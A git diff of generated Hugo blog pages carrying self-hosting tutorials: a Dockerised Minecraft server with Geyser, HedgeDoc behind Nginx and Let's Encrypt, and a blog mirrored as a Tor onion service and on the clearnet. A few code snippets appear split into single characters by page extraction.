    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    \ No newline at end of file diff --git a/public/tags/geyser/page/1/index.html b/public/tags/geyser/page/1/index.html new file mode 100644 index 0000000..8659821 --- /dev/null +++ b/public/tags/geyser/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/ + \ No newline at end of file diff --git a/public/tags/hedgedoc/index.html b/public/tags/hedgedoc/index.html new file mode 100644 index 0000000..d7ff8eb --- /dev/null +++ b/public/tags/hedgedoc/index.html @@ -0,0 +1,12 @@ +Hedgedoc | AlipourIm journeys +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/hedgedoc/index.xml b/public/tags/hedgedoc/index.xml new file mode 100644 index 0000000..623fa57 --- /dev/null +++ b/public/tags/hedgedoc/index.xml @@ -0,0 +1,132 @@ +Hedgedoc on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/Recent content in Hedgedoc on AlipourIm journeysHugo -- 0.146.0enFri, 29 Aug 2025 00:00:00 +0000Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/tags/hedgedoc/page/1/index.html b/public/tags/hedgedoc/page/1/index.html new file mode 100644 index 0000000..074884e --- /dev/null +++ b/public/tags/hedgedoc/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hedgedoc/ + \ No newline at end of file diff --git a/public/tags/hugo/index.html b/public/tags/hugo/index.html new file mode 100644 index 0000000..87e012f --- /dev/null +++ b/public/tags/hugo/index.html @@ -0,0 +1,14 @@ +Hugo | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/hugo/index.xml b/public/tags/hugo/index.xml new file mode 100644 index 0000000..e65423e --- /dev/null +++ b/public/tags/hugo/index.xml @@ -0,0 +1,422 @@ +Hugo on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/Recent content in Hugo on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/tags/hugo/page/1/index.html b/public/tags/hugo/page/1/index.html new file mode 100644 index 0000000..9ea4008 --- /dev/null +++ b/public/tags/hugo/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/ + \ No newline at end of file diff --git a/public/tags/index.html b/public/tags/index.html new file mode 100644 index 0000000..24975ba --- /dev/null +++ b/public/tags/index.html @@ -0,0 +1,8 @@ +Tags | AlipourIm journeys +
    + +RSS + \ No newline at end of file diff --git a/public/tags/index.xml b/public/tags/index.xml new file mode 100644 index 0000000..cc841b5 --- /dev/null +++ b/public/tags/index.xml @@ -0,0 +1 @@ +Tags on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/Recent content in Tags on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000Fabricationhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/Flaskhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/flask/Iothttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/Raspberrypihttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/raspberrypi/Scd41http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/scd41/Solderinghttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/soldering/Ws2812http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/Dockerhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/Geyserhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/geyser/Linuxhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/linux/Lvmhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/Minecrafthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/minecraft/Paperhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/paper/Papermodhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/papermod/Cloudflarehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/Hugohttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/Letsencrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/letsencrypt/Nginxhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/nginx/Torhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/tor/Fri, 19 Sep 2025 00:00:00 